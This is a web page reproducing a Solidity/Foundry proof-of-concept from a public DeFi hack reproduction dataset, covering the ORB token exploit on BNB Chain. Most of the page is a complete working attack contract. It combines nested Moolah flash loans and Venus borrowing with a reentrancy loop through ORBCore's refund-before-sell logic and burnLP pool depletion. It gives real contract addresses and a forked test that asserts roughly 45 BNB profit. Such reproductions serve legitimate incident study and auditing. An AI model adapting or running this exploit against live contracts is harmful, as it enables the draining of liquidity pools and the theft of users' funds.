Public reproduction file
src/test/2026-09/ORB_exp.sol
Public reproduction file for dataset entry ORB.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";6// ORB (ORBToken / ORBCore) - refund-before-sell reentrancy + whitelisted tax-free Core sells + burnLP pool7// depletion, amplified by a Venus + Moolah leverage staging phase - BNB Chain. Attacker net ~44.9-45 BNB.8//9// Attack tx : 0x5e6b33b7d69b505d8ae6e50ca6967e13bf513b61593d29011dbcc6d134515b34 (block 121296110)10// Attacker EOA : 0xd8B49172B1A33e77C2619a78e08471FaCFf5dAd3 (holds 3,483 ORB pre-attack)11// Attack contract: 0x4f33733a40FAE6C19c3A4Faf9BC08cE9a180683112// ORBToken : 0xC4D27261C06407053Cad16Cb825ecc0eEE7ee7d7 (verified)13// ORBCore : 0x24B6308AB84B182d0598b73d21a42f4C2bb33C18 (verified; whitelisted on the token)14// Pair ORB/WBNB : 0x64fad72e5dde70B2960497744B348FD64Cb4788c (PancakeV2, token0 = WBNB)15// Moolah pool : 0x8f73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C (0% flashLoan; holds exactly 241,591 WBNB + 3,145 BTCB)16// Venus VBNB : 0xA07c5b74C9B40447a954e1466938b865b6BBea3617// Venus VBTCB : 0x882C173bC7Ff3b7786CA16dfeD3DFFfb9Ee7847B18// Comptroller : 0xfD36E2c2a6789Db23113685031d7F1632915838419// Router : 0x10ED43C718714eb63d5aA57B78B54704E256024E20//21// ROOT CAUSE (verified against source + the full on-chain trace):22// 1. ORBToken.receive() forwards BNB into ORBCore.addPoolAndSell() with NO reentrancy guard on the path.23// 2. addPoolAndSell()'s sell branch refunds the BNB to the caller (safeTransferETH(account, BNBValue))24// BEFORE _sellToken() runs, and _sellToken() itself refunds userBNB to the caller BEFORE its final25// burnLP() - two unguarded re-entry points. The attacker's receive()/fallback re-enters at both.26// 3. ORBCore is whitelisted on ORBToken, so pair<->Core transfers skip the token's transfer burn tax:27// _sellToken() pulls the caller's ORB tax-free and swaps it, and the big pool buy routes ORB to Core28// (any non-Core buyer hits `revert('not buy')` in ORBToken._transfer).29// 4. burnLP(amount) burns ORB straight out of the Pair's own reserve and calls sync(), if amount is under30// 20% of the pair's ORB balance - permanently shrinking the ORB side of the reserve.31//32// WHY THE LEVERAGE IS REQUIRED (the piece a naive reentrancy-only PoC misses, confirmed on-chain):33// The pair's real reserve is only 45.3 WBNB / 5.826M ORB, and the attacker owns just 3,483 ORB. burnLP is34// capped at 20% of the pair's ORB balance per call, and each _sellToken can only sell as much ORB as the35// attacker holds - so the attacker's tiny stack can never burn down a 5.826M-ORB reserve. The fix is to36// first BUY OUT almost all of the pool's ORB with a huge, temporary WBNB position (241,591 WBNB flash-loaned37// from Moolah PLUS 260,000 BNB borrowed from Venus against 3,145 BTCB that is itself Moolah-flash-loaned),38// pushing the pair to ~448,325 WBNB / ~590 ORB. Now the reentrant burnLP loop can grind the ~590 ORB down39// to dust (WBNB reserve untouched), and a final small ORB sell drains almost the entire inflated WBNB side.40// Every borrowed leg is repaid at the end; the net that remains is exactly the pool's real ~45 WBNB.41//42// Reentrancy ordering that makes it work (why a flat loop cannot): each _sellToken does swap -> userBNB43// refund -> burnLP. Re-entering at the userBNB refund pushes the next level's swap to run BEFORE this44// level's burnLP. So on the way DOWN every swap executes against the still-full pool (harmless), the big45// buy fires at the deepest level, and on the way UP every burnLP executes against the now-emptied pool -46// depleting it geometrically. A flat post-buy loop would instead swap ORB back into the emptied pool each47// iteration and destroy the setup.48//49// Numbers are reproduced live on a fork of the parent block, not asserted from the trace.51interface IERC20 {52 function balanceOf(address) external view returns (uint256);53 function transfer(address to, uint256 amount) external returns (bool);54 function transferFrom(address from, address to, uint256 amount) external returns (bool);55 function approve(address spender, uint256 amount) external returns (bool);56}58interface IWBNB is IERC20 {59 function deposit() external payable;60 function withdraw(uint256) external;61}63interface IPair {64 function getReserves() external view returns (uint112 r0, uint112 r1, uint32 ts);65 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;66 function token0() external view returns (address);67}69interface IRouter {70 function swapTokensForExactTokens(71 uint256 amountOut,72 uint256 amountInMax,73 address[] calldata path,74 address to,75 uint256 deadline76 ) external returns (uint256[] memory amounts);77}79interface IMoolah {80 function flashLoan(address token, uint256 assets, bytes calldata data) external;81}83interface IComptroller {84 function enterMarkets(address[] calldata) external returns (uint256[] memory);85}87interface IVToken {88 function mint(uint256) external returns (uint256);89 function borrow(uint256) external returns (uint256);90 function repayBorrow() external payable;91 function redeemUnderlying(uint256) external returns (uint256);92}94contract ORBExploit {95 IERC20 internal constant ORB = IERC20(0xC4D27261C06407053Cad16Cb825ecc0eEE7ee7d7);96 address internal constant CORE = 0x24B6308AB84B182d0598b73d21a42f4C2bb33C18;97 IPair internal constant PAIR = IPair(0x64fad72e5dde70B2960497744B348FD64Cb4788c);98 IWBNB internal constant WBNB = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);99 IERC20 internal constant BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);100 IMoolah internal constant MOOLAH = IMoolah(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);101 IRouter internal constant ROUTER = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);102 IComptroller internal constant COMPTROLLER = IComptroller(0xfD36E2c2a6789Db23113685031d7F16329158384);103 IVToken internal constant VBNB = IVToken(0xA07c5b74C9B40447a954e1466938b865b6BBea36);104 IVToken internal constant VBTCB = IVToken(0x882C173bC7Ff3b7786CA16dfeD3DFFfb9Ee7847B);106 uint256 internal constant WBNB_LOAN = 241_591_119_849_192_237_224_966; // all of Moolah's WBNB107 uint256 internal constant BTCB_LOAN = 3_145_888_591_519_450_458_468; // all of Moolah's BTCB108 uint256 internal constant BORROW = 260_000 ether; // Venus BNB borrow against the BTCB collateral110 uint256 internal constant TRIGGER = 9 * 1e14; // 0.0009 BNB -> addPoolAndSell sell path, mulNumber = 9111 uint256 internal constant LEAVE = 600 ether; // ORB left in the pool by the big buy, then burnt to dust112 uint256 internal constant MAX_DEPTH = 70; // reentrancy depth; deeper = pool ORB ground closer to 0 = smaller drain residual114 address internal immutable owner;115 bool internal innerPhase;116 bool internal inLoop;117 bool internal bought;118 uint256 internal depth;120 constructor() {121 owner = msg.sender;122 }124 function attack() external {125 require(msg.sender == owner, "not owner");126 MOOLAH.flashLoan(address(WBNB), WBNB_LOAN, ""); // outer127 uint256 bal = WBNB.balanceOf(address(this));128 WBNB.withdraw(bal);129 payable(owner).transfer(address(this).balance);130 }132 function onMoolahFlashLoan(uint256 assets, bytes calldata) external {133 require(msg.sender == address(MOOLAH), "not moolah");134 if (!innerPhase) {135 innerPhase = true;136 MOOLAH.flashLoan(address(BTCB), BTCB_LOAN, ""); // nested BTCB flash loan137 WBNB.approve(address(MOOLAH), WBNB_LOAN); // repay outer138 return;139 }141 // ---- inner (BTCB) callback: build leverage, run the drain, repay ----142 // Venus: deposit the flash-loaned BTCB as collateral and borrow BNB against it.143 BTCB.approve(address(VBTCB), BTCB_LOAN);144 address[] memory mkts = new address[](1);145 mkts[0] = address(VBTCB);146 COMPTROLLER.enterMarkets(mkts);147 require(VBTCB.mint(BTCB_LOAN) == 0, "mint fail");148 require(VBNB.borrow(BORROW) == 0, "borrow fail");149 WBNB.deposit{value: BORROW - 10 ether}(); // wrap borrowed BNB, keep 10 BNB native for the 0.0009 triggers151 _drain();153 // Repay Venus, then approve the inner BTCB flash loan back to Moolah.154 WBNB.withdraw(BORROW - address(this).balance); // top native back up to exactly BORROW155 VBNB.repayBorrow{value: BORROW}();156 VBTCB.redeemUnderlying(BTCB_LOAN);157 BTCB.approve(address(MOOLAH), assets);158 }160 function _drain() internal {161 WBNB.approve(address(ROUTER), type(uint256).max);162 ORB.approve(CORE, type(uint256).max); // let Core pull our ORB in _sellToken (tax-free, Core is whitelisted)163 depth = 0;164 bought = false;165 inLoop = true;166 _trigger(); // kick off the reentrant descent167 inLoop = false;168 _finalSell();169 }171 function _trigger() internal {172 (bool ok,) = address(ORB).call{value: TRIGGER}(""); // ORBToken.receive -> Core.addPoolAndSell (sell)173 require(ok, "trigger fail");174 }176 // Re-entry handler. Core hits us twice per level: the addPoolAndSell refund (== TRIGGER, fired before177 // _sellToken reads our balance) and the _sellToken userBNB refund (< TRIGGER, fired before burnLP).178 receive() external payable {179 if (!inLoop || msg.sender != CORE) return;180 if (msg.value == TRIGGER) {181 _topUpForLevel(depth); // size our ORB so this level's sell/burn matches the pool at its unwind182 return;183 }184 // userBNB refund: descend one more level, or fire the big buy at the bottom.185 if (depth < MAX_DEPTH) {186 depth++;187 _trigger();188 } else if (!bought) {189 bought = true;190 _bigBuy();191 }192 // returning lets this level's burnLP run against the emptied pool (unwind)193 }195 // Level d unwinds when the pool ORB will be ~ LEAVE * 0.8^(MAX_DEPTH - d). Size the sell so burnLP196 // (0.6 * sell) is just under 20% of that, i.e. sell ~ pool/3, balance = sell * 10 / 9 (mulNumber 9).197 function _topUpForLevel(uint256 d) internal {198 uint256 pool = LEAVE;199 uint256 n = MAX_DEPTH - d;200 for (uint256 i = 0; i < n; i++) {201 pool = pool * 4 / 5;202 }203 uint256 target = (pool / 3) * 10 / 9;204 if (target == 0) target = 1;205 uint256 bal = ORB.balanceOf(address(this));206 if (bal < target) {207 ORB.transferFrom(owner, address(this), target - bal); // pull from the attacker EOA, untaxed208 }209 }211 function _bigBuy() internal {212 uint256 poolOrb = ORB.balanceOf(address(PAIR));213 uint256 orbOut = poolOrb > LEAVE ? poolOrb - LEAVE : 0;214 if (orbOut == 0) return;215 address[] memory path = new address[](2);216 path[0] = address(WBNB);217 path[1] = address(ORB);218 // Buy nearly all pool ORB, delivered to Core (only Core can receive a pair buy without reverting).219 ROUTER.swapTokensForExactTokens(orbOut, WBNB.balanceOf(address(this)), path, CORE, block.timestamp);220 }222 // Pool is now huge-WBNB / dust-ORB. Sell ORB straight into the pair (5% burn on the way in) and swap out223 // the inflated WBNB.224 function _finalSell() internal {225 bool wbnbIs0 = PAIR.token0() == address(WBNB);226 uint256 have = ORB.balanceOf(address(this));227 uint256 eoa = ORB.balanceOf(owner);228 if (eoa > 0) {229 ORB.transferFrom(owner, address(this), eoa);230 have += eoa;231 }232 if (have == 0) return;233 (uint112 r0, uint112 r1,) = PAIR.getReserves();234 (uint256 rW, uint256 rO) = wbnbIs0 ? (uint256(r0), uint256(r1)) : (uint256(r1), uint256(r0));235 // 5% burn tax on transfer-to-pair; the pair receives 95% of `have`.236 uint256 inAfterTax = have * 95 / 100;237 ORB.transfer(address(PAIR), have);238 uint256 outW = (inAfterTax * 9975 * rW) / (rO * 10_000 + inAfterTax * 9975);239 if (outW >= rW) outW = rW - 1;240 if (wbnbIs0) {241 PAIR.swap(outW, 0, address(this), "");242 } else {243 PAIR.swap(0, outW, address(this), "");244 }245 }246}248contract ORB_exp is Test {249 IERC20 internal constant ORB = IERC20(0xC4D27261C06407053Cad16Cb825ecc0eEE7ee7d7);250 address internal constant ATTACKER = 0xd8B49172B1A33e77C2619a78e08471FaCFf5dAd3;252 function setUp() public {253 vm.createSelectFork("bsc", 121_296_109); // parent block of the exploit tx (121296110)254 }256 function testExploit() public {257 vm.startPrank(ATTACKER, ATTACKER);258 uint256 balBefore = ATTACKER.balance;260 ORBExploit exploit = new ORBExploit();261 ORB.approve(address(exploit), type(uint256).max); // attacker lets the contract pull its 3,483 ORB262 exploit.attack();264 uint256 profit = ATTACKER.balance - balBefore;265 vm.stopPrank();267 emit log_named_decimal_uint("attacker BNB profit", profit, 18);268 // Reproduces the reported ~44.9-45 BNB loss: essentially the pair's entire 45.318 WBNB reserve.269 assertApproxEqRel(profit, 45 ether, 0.03e18, "expected net-positive ~45 BNB");270 }271}Analysis
Dataset entry
Public Foundry test for “ORB” (2026-09-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
- src/test/2026-09/RouterDrain_exp.solSame month in the dataset · 226 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd8b49172b1a33e77c2619a78e08471facff5dad3
- Attack contract
0x4f33733a40fae6c19c3a4faf9bc08ce9a1806831
- Attack Tx
0x5e6b33b7d69b505d8ae6e50ca6967e13bf513b61593d29011dbcc6d134515b34
File record
- Name
- ORB
- Path
- src/test/2026-09/ORB_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b2108aff622a5611182fc716f7cdbcac6eac4d5e
- Language
- Solidity
- Size
- 272 lines
- Date
- 2026-09-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/ORB_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b2108aff622a5611182fc716f7cdbcac6eac4d5e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.